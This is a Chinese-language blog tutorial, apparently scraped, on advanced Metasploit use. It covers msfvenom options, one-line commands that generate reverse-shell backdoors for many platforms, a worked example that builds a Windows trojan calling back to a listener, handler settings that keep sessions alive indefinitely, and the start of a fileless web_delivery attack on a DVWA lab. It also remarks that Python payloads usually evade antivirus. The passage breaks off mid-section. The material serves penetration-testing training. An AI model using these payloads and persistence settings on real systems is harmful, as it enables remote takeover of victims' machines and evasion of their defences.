metasploit怎么用? 进阶(msfvenom=payloads+encoders)篇 (゚益゚メ) 渗透测试 您所在的位置:网站首页 msfvenom -x metasploit怎么用? 进阶(msfvenom=payloads+encoders)篇 (゚益゚メ) 渗透测试

metasploit怎么用? 进阶(msfvenom=payloads+encoders)篇 (゚益゚メ) 渗透测试

#metasploit怎么用? 进阶(msfvenom=payloads+encoders)篇 (゚益゚メ) 渗透测试| 来源: 网络整理| 查看: 265

文章目录 msfvenom介绍生成攻击载荷攻击载荷区分常用攻击载荷生成语句实际应用 无文件攻击简单搭建靶场攻击测试 msf常用命令添加注册表(植入后门)提升权限清除记录 这边博客是接着我上一篇博客 metasploit怎么用? 基础使用篇 (゚益゚メ) 渗透测试之后的,如果本片中有看不懂的地方,推荐你先去看一下第一篇!

msfvenom介绍

metasploit中有大量的攻击载荷,而msfvenom就是用于快速创建我们需要的攻击载荷并生成指定平台运行的程序,实际上msfvenom就是攻击载荷(payloads)和编码器(encoders)的组合工具,他是独立于msf控制台(msfconsole)之外的,无法在控制台内直接调用。 在这里插入图片描述

属性属性全拼作用-l–list列出所有可用的项目(查看所有属性:-l all)-p–payload要使用的攻击载荷(如果被设置为 -,那么从标准输入流中读取。)几乎支持全平台。(--list-options可用查看攻击载荷的属性, -l payloads: 列出所有攻击载荷)-n–nopsled指定 无害填充 在 攻击载荷 中的数量(-l nops: 列出所有无害填充, --pad nop:使用无害填充(nopsled)指定的攻击大小作为总攻击载荷大小,自动为无害填充添加或减去数量)-f–format指定 攻击载荷 的输出格式(-l formats:列出所有可用的输出格式, 如果没有指定格式,可以使用raw来代替)-e–encoder指定使用的编码器(使用-l encoders :列出所有的编码器)-a–arch指定目标系统架构(-l archs: 列出的所有支持的架构)–platform指定目标系统平台(-l platforms: 列出的所有支持的平台)-s–space设置未经编码的 攻击载荷 的最大长度(--encoder-space:编码后的 Payload的最大长度)-b–bad-chars设置需要在 攻击载荷 中避免出现的字符,例如:’\0f’、’\x00’等-i–iterations设置 攻击载荷 的编码次数–smallest尽可能生成最短的 攻击载荷-o–out保存 攻击载荷 到文件-c–add-code指定一个附加的 win32 壳文件–encrypt要应用于外壳代码的加密或编码类型(-l encrypt: 列数所有加密或编码类型)-x–template指定一个特定的可执行文件作为模板-k–keep保护模板程序的功能,注入的 攻击载荷 作为一个新的进程运行-t–timeout等待目标有效载荷相应的时间(默认值30,0表示禁用)-v–var-name指定用于某些输出格式的自定义变量名–service-name生成二进制文件时要使用的名称–sec-name生成大型Windows二进制文件时要使用的新名称。默认值:随机4个字符的alpha字符串–encrypt key用于–encrypt的密钥–encrypt iv初始化–encrypt向量 生成攻击载荷 攻击载荷区分 分段(staged): 在攻击载荷文件中,用斜杠/代表分段,比如:linux/x86/meterpreter/reverse_tcp 分段的攻击载荷: 体积小,传输快,不容易被发现,但是功能少,一般只负责建立网络连接,想要进入后渗透阶段还需要使用其他工具,分阶段攻击。 不分段(stageless): 在攻击载荷文件中,用下划线_连接,比如:linux/x86/meterpreter_reverse_tcp 不分段的攻击载荷: 体积大,但功能齐全,包含了后渗透的所有部分和必须的扩展,不需要在分阶段在攻击。 常用攻击载荷生成语句 linux: (这里的攻击载荷为分段的) msfvenom -p linux/x86/meterpreter/reverse_tcp LHOST= LPORT= -f elf > 文件名称.elfWindows: (如果想要看此攻击载荷具体信息可以输入msfvenom -p windows/meterpreter/reverse_tcp --list-options) msfvenom -p windows/meterpreter/reverse_tcp LHOST= LPORT= -f exe > 文件名称.exeMac: (这里的攻击载荷是不分段的) msfvenom-p osx/x86/shell_reverse_tcp LHOST= LPORT= -f macho > 文件名称.machojsp:(如果我们拿到了对方的网络控制台,可以上传一个后台使用编程语言的攻击载荷) msfvenom -p java/jsp_shell_reverse_tcp LHOST= LPORT= -f jsp > 文件名称.jspphp:(因为-f中没有PHP格式支持,所以我们这里使用了raw) msfvenom -p php/meterpreter/reverse_tcp LHOST= LPORT= -f raw > 文件名称.phpwar:(一些阿帕奇的后台中存在war包上传接口可供我们利用) msfvenom -p java/jsp_shell_reverse_tcp LHOST= LPORT= -f war> 文件名称.warasp:(如果知道的对方信息够多,我们可以生成一些特定的属性来优化攻击载荷,比如说下方的-a指定了处理器架构,--platform指定了目标使用的系统等,保存文件-o和上述我使用的重定向符>效果相同,都是将文件保存进入指定的文件内。) msfvenom -a x86 --platform windows -p windows/meterpreter/reverse_tcp LHOST= LPORT= -f aspx -o 文件名称.aspxpython:(生成常用的脚本语言运行也试是一个很不错的选择,并且py文件,一般不会报毒) msfvenom -p python/meterpreter/reverse_tcp LHOST= LPORT= -f py > shell.pybash:(这是linux中非常常用的一个控制台,在很多Windows中也能直接运行。) msfvenom -p cmd/unix/reverse_bash LHOST= LPORT= -f sh > shell.sh 实际应用

首先我们使用msfvenom生成一个后门

msfvenom -p windows/meterpreter/reverse_tcp LHOST=192.168.3.6 LPORT=6523 -f exe > test.exe

在这里插入图片描述 然后在msf控制台中进入一个漏洞利用exploit/multi/handler程序,在设定攻击载荷windows/meterpreter/reverse_tcp 设置用于接收目标控制台的IP和端口(这里的IP和端口需要和上方生成后面时使用的一致。)

# exploit/multi/handler模块是一个攻击载荷处理程序,用于接收我们生成攻击载荷的连接。 use exploit/multi/handler set payload windows/meterpreter/reverse_tcp set lhost 192.168.3.6 set lport 6523

看不懂上述的命令的话,先去看一下我第一篇博客,里面有比较详细的命令介绍 在这里插入图片描述 现在我们把之前生成的后门文件先弄到目标主机中(在真实环境中,在目标植入后门的方式有很多,比如利用一些web控制台,或者msf中的session都可以实现,我这样因为就是一个虚拟机,我就直接将木马拖入进去了。) 在我们的靶机上运行攻击载荷后,msf中就可以获取到连接。 在这里插入图片描述 exploit/multi/handler常用配置(想查看所有配置,可以在进入其中后use exploit/multi/handler输入advanced)

set ExitOnSession False: 如果遇到session连接不稳定,刚连接就断开,可以在接收到session后,继续监听端口,保持job存活set SessionCommunicationTimeout 0: 默认策略中,如果一个会话将在5分钟(300秒)没有任何活动,那么它会被杀死,为防止此情况可将此项修改为0set SessionExpirationTimeout 0: 一个星期(604800秒)后,会话将被强制关闭,修改为0可永久不会被关exploit -j -z: 后台持续监听,-j表示后台任务,-z表示成功后不主动发送stage,使用jobs命令查看和管理后台任务。jobs-K结束所有任务handler -H -P -p windows/meterpreter/reverse_tcp: 快速启动监听 在这里插入图片描述 无文件攻击

上述生成木马文件攻击时,我们的木马大部分都可能会被静态杀毒软件查杀,无法正常使用,但msf中还提供了一种可以不用生成文件的攻击载荷,存放于exploit/multi/script/web_delivery,下面我们就来使用这种方式做一次模拟攻击测试。

简单搭建靶场

这里推荐使用一些比较老的系统,比如说Windows7,Windows2008之类的系统做靶机。

下载安装虚拟机。(这步默认都会)下载phpstudy:https://www.xp.cn/,快速搭建环境,安装好后打开阿帕奇和mysql数据库 在这里插入图片描述下载dvwa:https://gitee.com/hongsofwing/DVWA,渗透测试靶场,将此靶场放入阿帕奇www文件夹中(默认在C:\phpstudy_pro\WWW\phpstudy_pro安装目录中的www文件夹中),打开dvwa中的config文件,把其中的config.inc.php.dist修改为config.inc.php,并如下图所示,修改数据库连接用户名密码(phpstudy默认的数据库用户名密码和库都为root) 在这里插入图片描述然后我们连接靶机(直接在url中输入靶机ip即可),将其数据库初始化。之后会弹出登陆界面默认用户名为admin,密码为password 在这里插入图片描述攻击前,我们最好把难度调低一点。 在这里插入图片描述 攻击测试 查找注入点,因为我们调节的难度较低,所以这里是存在一个注入点(这里利用了xss攻击,可以看我的博客->xss攻击-面向前端的安全攻击


【本文地址】

公司简介

联系我们

今日新闻

    推荐新闻

    专题文章
      CopyRight 2018-2019 实验室设备网 版权所有